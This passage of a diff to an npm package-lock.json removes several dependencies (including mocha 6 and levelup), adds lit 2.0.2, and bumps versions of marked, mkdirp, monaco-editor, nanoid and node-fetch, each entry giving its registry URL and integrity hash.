-        "napi-macros": "~2.0.0",
-        "node-gyp-build": "~4.1.0"
-      }
-    },
-    "levelup": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/levelup/-/levelup-4.4.0.tgz",
-      "integrity": "sha512-94++VFO3qN95cM/d6eBXvd894oJE0w3cInq9USsyQzzoJxmiYzPAocNcuGCPGGjoXqDVJcr3C1jzt1TSjyaiLQ==",
-      "requires": {
-        "deferred-leveldown": "~5.3.0",
-        "level-errors": "~2.0.0",
-        "level-iterator-stream": "~4.0.0",
-        "level-supports": "~1.0.0",
-        "xtend": "~4.0.0"
-      }
-    },
     "levn": {
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
@@ -7448,14 +6102,6 @@
         "type-check": "~0.4.0"
       }
     },
-    "lie": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/lie/-/lie-3.1.1.tgz",
-      "integrity": "sha1-mkNrLMd0bKWd56QfpGmz77dr2H4=",
-      "requires": {
-        "immediate": "~3.0.5"
-      }
-    },
     "lighthouse-logger": {
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/lighthouse-logger/-/lighthouse-logger-1.3.0.tgz",
@@ -7541,6 +6187,38 @@
         "wrap-ansi": "^7.0.0"
       }
     },
+    "lit": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/lit/-/lit-2.0.2.tgz",
+      "integrity": "sha512-hKA/1YaSB+P+DvKWuR2q1Xzy/iayhNrJ3aveD0OQ9CKn6wUjsdnF/7LavDOJsKP/K5jzW/kXsuduPgRvTFrFJw==",
+      "dev": true,
+      "requires": {
+        "@lit/reactive-element": "^1.0.0",
+        "lit-element": "^3.0.0",
+        "lit-html": "^2.0.0"
+      },
+      "dependencies": {
+        "lit-element": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/lit-element/-/lit-element-3.0.1.tgz",
+          "integrity": "sha512-vs9uybH9ORyK49CFjoNGN85HM9h5bmisU4TQ63phe/+GYlwvY/3SIFYKdjV6xNvzz8v2MnVC+9+QOkPqh+Q3Ew==",
+          "dev": true,
+          "requires": {
+            "@lit/reactive-element": "^1.0.0",
+            "lit-html": "^2.0.0"
+          }
+        },
+        "lit-html": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/lit-html/-/lit-html-2.0.1.tgz",
+          "integrity": "sha512-KF5znvFdXbxTYM/GjpdOOnMsjgRcFGusTnB54ixnCTya5zUR0XqrDRj29ybuLS+jLXv1jji6Y8+g4W7WP8uL4w==",
+          "dev": true,
+          "requires": {
+            "@types/trusted-types": "^2.0.2"
+          }
+        }
+      }
+    },
     "lit-element": {
       "version": "2.5.1",
       "resolved": "https://registry.npmjs.org/lit-element/-/lit-element-2.5.1.tgz",
@@ -7554,30 +6232,6 @@
       "resolved": "https://registry.npmjs.org/lit-html/-/lit-html-1.4.1.tgz",
       "integrity": "sha512-B9btcSgPYb1q4oSOb/PrOT6Z/H+r6xuNzfH4lFli/AWhYwdtrgQkQWBbIc6mdnf6E2IL3gDXdkkqNktpU0OZQA=="
     },
-    "load-json-file": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz",
-      "integrity": "sha1-L19Fq5HjMhYjT9U62rZo607AmTs=",
-      "dev": true,
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "parse-json": "^4.0.0",
-        "pify": "^3.0.0",
-        "strip-bom": "^3.0.0"
-      },
-      "dependencies": {
-        "parse-json": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
-          "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
-          "dev": true,
-          "requires": {
-            "error-ex": "^1.3.1",
-            "json-parse-better-errors": "^1.0.1"
-          }
-        }
-      }
-    },
     "locate-path": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
@@ -7611,11 +6265,6 @@
       "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=",
       "dev": true
     },
-    "lodash.isnull": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/lodash.isnull/-/lodash.isnull-3.0.0.tgz",
-      "integrity": "sha1-+vvlnqHcon7teGU0A53YTC4HxW4="
-    },
     "lodash.merge": {
       "version": "4.6.2",
       "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
@@ -7634,52 +6283,6 @@
       "integrity": "sha1-egy/ZfQ7WShiWp1NDcVLGMrcfvM=",
       "dev": true
     },
-    "log-symbols": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
-      "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
-      "dev": true,
-      "requires": {
-        "chalk": "^2.0.1"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-          "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-          "dev": true,
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-          "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "has-flag": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-          "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
-          "dev": true
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-          "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-          "dev": true,
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
     "log-update": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz",
@@ -7735,16 +6338,6 @@
         "yallist": "^4.0.0"
       }
     },
-    "ltgt": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/ltgt/-/ltgt-2.2.1.tgz",
-      "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU="
-    },
-    "lunr": {
-      "version": "0.7.1",
-      "resolved": "https://registry.npmjs.org/lunr/-/lunr-0.7.1.tgz",
-      "integrity": "sha1-taLP+ZVVt4k/XxpKF68/Y4NzxLs="
-    },
     "make-dir": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
@@ -7775,9 +6368,9 @@
       "dev": true
     },
     "marked": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz",
-      "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA=="
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/marked/-/marked-3.0.7.tgz",
+      "integrity": "sha512-ctKqbnLuNbsHbI26cfMyOlKgXGfl1orOv1AvWWDX7AkgfMOwCWvmuYc+mVLeWhQ9W6hdWVBynOs96VkcscKo0Q=="
     },
     "marky": {
       "version": "1.2.2",
@@ -7785,38 +6378,6 @@
       "integrity": "sha512-k1dB2HNeaNyORco8ulVEhctyEGkKHb2YWAhDsxeFlW2nROIirsctBYzKwwS3Vza+sKTS1zO4Z+n9/+9WbGLIxQ==",
       "dev": true
     },
-    "math-clamp-x": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/math-clamp-x/-/math-clamp-x-1.2.0.tgz",
-      "integrity": "sha512-tqpjpBcIf9UulApz3EjWXqTZpMlr2vLN9PryC9ghoyCuRmqZaf3JJhPddzgQpJnKLi2QhoFnvKBFtJekAIBSYg==",
-      "requires": {
-        "to-number-x": "^2.0.0"
-      }
-    },
-    "math-sign-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/math-sign-x/-/math-sign-x-3.0.0.tgz",
-      "integrity": "sha512-OzPas41Pn4d16KHnaXmGxxY3/l3zK4OIXtmIwdhgZsxz4FDDcNnbrABYPg2vGfxIkaT9ezGnzDviRH7RfF44jQ==",
-      "requires": {
-        "is-nan-x": "^1.0.1",
-        "to-number-x": "^2.0.0"
-      }
-    },
-    "max-safe-integer": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/max-safe-integer/-/max-safe-integer-1.0.1.tgz",
-      "integrity": "sha1-84BgvixWPYwC5tSK85Ei/YO29BA="
-    },
-    "md5": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz",
-      "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==",
-      "requires": {
-        "charenc": "0.0.2",
-        "crypt": "0.0.2",
-        "is-buffer": "~1.1.6"
-      }
-    },
     "media-typer": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
@@ -7939,6 +6500,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
       "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+      "dev": true,
       "requires": {
         "brace-expansion": "^1.1.7"
       }
@@ -7946,7 +6508,8 @@
     "minimist": {
       "version": "1.2.5",
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
-      "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+      "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
+      "dev": true
     },
     "minimist-options": {
       "version": "4.1.0",
@@ -7960,295 +6523,15 @@
       }
     },
     "mkdirp": {
-      "version": "0.5.5",
-      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
-      "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "mocha": {
-      "version": "6.2.3",
-      "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz",
-      "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==",
-      "dev": true,
-      "requires": {
-        "ansi-colors": "3.2.3",
-        "browser-stdout": "1.3.1",
-        "debug": "3.2.6",
-        "diff": "3.5.0",
-        "escape-string-regexp": "1.0.5",
-        "find-up": "3.0.0",
-        "glob": "7.1.3",
-        "growl": "1.10.5",
-        "he": "1.2.0",
-        "js-yaml": "3.13.1",
-        "log-symbols": "2.2.0",
-        "minimatch": "3.0.4",
-        "mkdirp": "0.5.4",
-        "ms": "2.1.1",
-        "node-environment-flags": "1.0.5",
-        "object.assign": "4.1.0",
-        "strip-json-comments": "2.0.1",
-        "supports-color": "6.0.0",
-        "which": "1.3.1",
-        "wide-align": "1.1.3",
-        "yargs": "13.3.2",
-        "yargs-parser": "13.1.2",
-        "yargs-unparser": "1.6.0"
-      },
-      "dependencies": {
-        "ansi-colors": {
-          "version": "3.2.3",
-          "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz",
-          "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==",
-          "dev": true
-        },
-        "ansi-regex": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
-          "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
-          "dev": true
-        },
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-          "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-          "dev": true,
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "cliui": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
-          "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
-          "dev": true,
-          "requires": {
-            "string-width": "^3.1.0",
-            "strip-ansi": "^5.2.0",
-            "wrap-ansi": "^5.1.0"
-          }
-        },
-        "debug": {
-          "version": "3.2.6",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
-          "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
-          "dev": true,
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        },
-        "diff": {
-          "version": "3.5.0",
-          "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
-          "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
-          "dev": true
-        },
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
-          "dev": true
-        },
-        "esprima": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
-          "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
-          "dev": true
-        },
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "dev": true,
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "glob": {
-          "version": "7.1.3",
-          "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
-          "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
-          "dev": true,
-          "requires": {
-            "fs.realpath": "^1.0.0",
-            "inflight": "^1.0.4",
-            "inherits": "2",
-            "minimatch": "^3.0.4",
-            "once": "^1.3.0",
-            "path-is-absolute": "^1.0.0"
-          }
-        },
-        "has-flag": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-          "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
-          "dev": true
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
-          "dev": true
-        },
-        "js-yaml": {
-          "version": "3.13.1",
-          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
-          "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
-          "dev": true,
-          "requires": {
-            "argparse": "^1.0.7",
-            "esprima": "^4.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "dev": true,
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "mkdirp": {
-          "version": "0.5.4",
-          "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz",
-          "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==",
-          "dev": true,
-          "requires": {
-            "minimist": "^1.2.5"
-          }
-        },
-        "ms": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
-          "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
-          "dev": true
-        },
-        "object.assign": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz",
-          "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
-          "dev": true,
-          "requires": {
-            "define-properties": "^1.1.2",
-            "function-bind": "^1.1.1",
-            "has-symbols": "^1.0.0",
-            "object-keys": "^1.0.11"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "dev": true,
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
-          "dev": true
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "dev": true,
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
-          "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
-          "dev": true,
-          "requires": {
-            "ansi-regex": "^4.1.0"
-          }
-        },
-        "strip-json-comments": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
-          "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=",
-          "dev": true
-        },
-        "supports-color": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz",
-          "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==",
-          "dev": true,
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        },
-        "which": {
-          "version": "1.3.1",
-          "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
-          "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
-          "dev": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        },
-        "wrap-ansi": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
-          "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^3.2.0",
-            "string-width": "^3.0.0",
-            "strip-ansi": "^5.0.0"
-          }
-        },
-        "y18n": {
-          "version": "4.0.3",
-          "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
-          "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
-          "dev": true
-        },
-        "yargs": {
-          "version": "13.3.2",
-          "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
-          "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
-          "dev": true,
-          "requires": {
-            "cliui": "^5.0.0",
-            "find-up": "^3.0.0",
-            "get-caller-file": "^2.0.1",
-            "require-directory": "^2.1.1",
-            "require-main-filename": "^2.0.0",
-            "set-blocking": "^2.0.0",
-            "string-width": "^3.0.0",
-            "which-module": "^2.0.0",
-            "y18n": "^4.0.0",
-            "yargs-parser": "^13.1.2"
-          }
-        },
-        "yargs-parser": {
-          "version": "13.1.2",
-          "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
-          "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
-          "dev": true,
-          "requires": {
-            "camelcase": "^5.0.0",
-            "decamelize": "^1.2.0"
-          }
-        }
-      }
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+      "dev": true
     },
     "monaco-editor": {
-      "version": "0.26.1",
-      "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.26.1.tgz",
-      "integrity": "sha512-mm45nUrBDk0DgZKgbD7+bhDOtcAFNGPJJRAdS6Su1kTGl6XEgC7U3xOmDUW/0RrLf+jlvCGaqLvD4p2VjwuwwQ=="
+      "version": "0.29.1",
+      "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.29.1.tgz",
+      "integrity": "sha512-rguaEG/zrPQSaKzQB7IfX/PpNa0qxF1FY8ZXRkN4WIl8qZdTQRSRJCtRto7IMcSgrU6H53RXI+fTcywOBC4aVw=="
     },
     "ms": {
       "version": "2.0.0",
@@ -8264,41 +6547,8 @@
       "requires": {
         "queue-microtask": "^1.1.2",
         "readable-stream": "^3.6.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
       }
     },
-    "nan-x": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/nan-x/-/nan-x-1.0.2.tgz",
-      "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ=="
-    },
     "nanocolors": {
       "version": "0.2.13",
       "resolved": "https://registry.npmjs.org/nanocolors/-/nanocolors-0.2.13.tgz",
@@ -8306,16 +6556,11 @@
       "dev": true
     },
     "nanoid": {
-      "version": "3.1.29",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.29.tgz",
-      "integrity": "sha512-dW2pUSGZ8ZnCFIlBIA31SV8huOGCHb6OwzVCc7A69rb/a+SgPBwfmLvK5TKQ3INPbRkcI8a/Owo0XbiTNH19wg==",
+      "version": "3.1.30",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.30.tgz",
+      "integrity": "sha512-zJpuPDwOv8D2zq2WRoMe1HsfZthVewpel9CAvTfc/2mBD1uUT/agc5f7GHGWXlYkFvi1mVxe4IjvP2HNrop7nQ==",
       "dev": true
     },
-    "napi-macros": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/napi-macros/-/napi-macros-2.0.0.tgz",
-      "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg=="
-    },
     "natural-compare": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
@@ -8347,33 +6592,11 @@
         "path-to-regexp": "^1.7.0"
       }
     },
-    "node-environment-flags": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz",
-      "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==",
-      "dev": true,
-      "requires": {
-        "object.getownpropertydescriptors": "^2.0.3",
-        "semver": "^5.7.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
-          "dev": true
-        }
-      }
-    },
     "node-fetch": {
-      "version": "2.6.0",
-      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz",
-      "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA=="
-    },
-    "node-gyp-build": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.1.1.tgz",
-      "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ=="
+      "version": "2.6.1",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
